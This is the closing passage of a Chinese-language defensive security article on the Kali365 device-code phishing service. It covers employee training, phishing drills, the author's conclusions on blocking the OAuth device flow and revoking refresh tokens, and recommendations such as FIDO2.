异常行为警示:明确正规办公场景下,发票、文档、会议邀请绝不会要求输入设备验证码,此类请求一律判定为风险;
应急动作培训:要求员工收到异常验证码请求后,不操作、不授权,第一时间截图上报安全团队;
警示标识识别:引导员工主动查看微软官方页面的安全警示文字,养成风险甄别习惯。
5.5.2 演练落地方式
每季度开展专题安全培训,每月组织模拟 Kali365 钓鱼演练,批量发送仿真钓鱼邮件,统计链接点击率、验证码提交率、授权率,针对高风险员工开展一对一专项辅导,逐步提升全员风险识别能力。
5.6 防御体系联动逻辑
本文搭建的五层防御体系形成完整闭环:源头阻断作为第一道防线,直接消除攻击入口;行为监测作为兜底手段,发现绕过第一道防线的攻击;应急处置在攻击发生后快速止损;权限加固缩小攻击损失边界;人员培训从根源降低社会工程学欺骗成功率。五大环节层层递进、相互配合,全面抵御 Kali365 及同类设备码钓鱼攻击。
6 结论与未来防护建议
6.1 研究结论
本文以 FBI 预警的 Kali365 钓鱼即服务平台为研究对象,结合 OAuth 2.0 设备授权流协议、威胁情报、代码复现与实战案例,完成了攻击全链路拆解、风险评估、防御体系搭建等系统性研究,得出以下核心结论。
第一,Kali365 是商业化 PaaS 工具 + OAuth 协议滥用 + AI 诱饵优化 + 社会工程学欺骗结合的复合型威胁,其核心突破点并非系统漏洞,而是利用设备授权流的设计特性,诱导用户在微软官方页面主动完成多因素认证与授权。该攻击彻底绕过传统钓鱼检测、密码防护、多因素认证三重防护,隐蔽性与破坏力远超传统钓鱼攻击。
第二,OAuth 2.0 设备授权流本身是适配弱输入设备的合法协议,具备合理业务价值,但绝大多数政企办公环境无使用需求。通过 Microsoft Entra 条件访问策略全局阻断设备码流,是抵御 Kali365 攻击性价比最高、效果最显著的手段,可拦截绝大多数批量攻击。
第三,刷新令牌的长效特性是该攻击实现持久化控制的关键。仅修改账号密码、下线在线登录会话,无法清除恶意令牌风险,应急处置中必须将批量吊销刷新令牌作为核心操作,这也是区别于传统账号入侵处置的关键点。
第四,Kali365 的商业化运营模式大幅降低攻击门槛,让低技术水平的网络犯罪分子也能发起规模化攻击,威胁扩散速度呈现指数级增长。反网络钓鱼技术专家芦笛指出,钓鱼即服务已经成为网络犯罪的主流模式,云身份安全防护必须从 “被动查杀” 转向 “主动管控认证流程与令牌”。
第五,技术防护与人员意识提升缺一不可。此类协议滥用型钓鱼攻击最终依靠欺骗用户落地,完善的技术策略搭配常态化安全培训、模拟演练,才能构建真正稳固的防御体系。
6.2 未来威胁发展趋势
结合 Kali365 的迭代规律与黑产运营方向,未来同类攻击将呈现三大趋势。其一,工具持续 AI 化迭代,黑产会进一步利用大模型优化钓鱼话术、伪装流量特征、规避日志监测,诱饵的迷惑性持续提升。其二,攻击目标下沉,当前攻击主要针对大中型企业,后续会逐步向中小企业、基层事业单位扩散,而这类主体安全运维能力薄弱,将成为重灾区。其三,协议与平台泛化,攻击者不再局限于微软 OAuth 设备码流,会尝试滥用其他授权协议,将攻击场景拓展至飞书、钉钉、谷歌云等主流云办公平台,威胁覆盖面持续扩大。
6.3 通用性长效防护建议
针对未来威胁演变趋势,结合本次研究成果,面向所有使用云办公服务的机构提出通用性防护建议。
全面梳理云服务认证协议,对 OAuth、OpenID 等各类授权流程进行风险排查,禁用所有无业务需求的认证流程,最小化攻击面;
建立 OAuth 令牌全生命周期审计机制,常态化监测令牌申请、使用、续签、注销全流程,及时发现异常令牌活动;
动态迭代安全培训内容,摒弃老旧的钓鱼识别知识,重点讲解合法页面、合法协议下的新型攻击风险,匹配威胁演变节奏;
制定协议滥用类钓鱼攻击专项应急响应预案,明确账号处置、令牌吊销、日志溯源、合规上报的标准化流程,缩短应急响应时间;
优先部署抗钓鱼型多因素认证(如 FIDO2),将认证凭证与设备、会话深度绑定,进一步提升攻击者绕过防护的难度。
网络钓鱼攻击的演变,本质是攻击者与防御者之间的持续博弈。攻击者的手段从伪造页面、窃取密码,逐步转向滥用合法认证流程、诱导用户主动授权,安全防护体系也必须与时俱进。对于政企单位而言,需要彻底跳出 “以密码为核心” 的传统防护思维,构建以协议管控、身份审计、令牌治理、权限最小化、人员意识为核心的云身份安全架构,坚持技术、管理、人员三位一体的防护理念,才能持续应对不断演变的新型网络钓鱼威胁,保障企业办公数据与账号安全。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。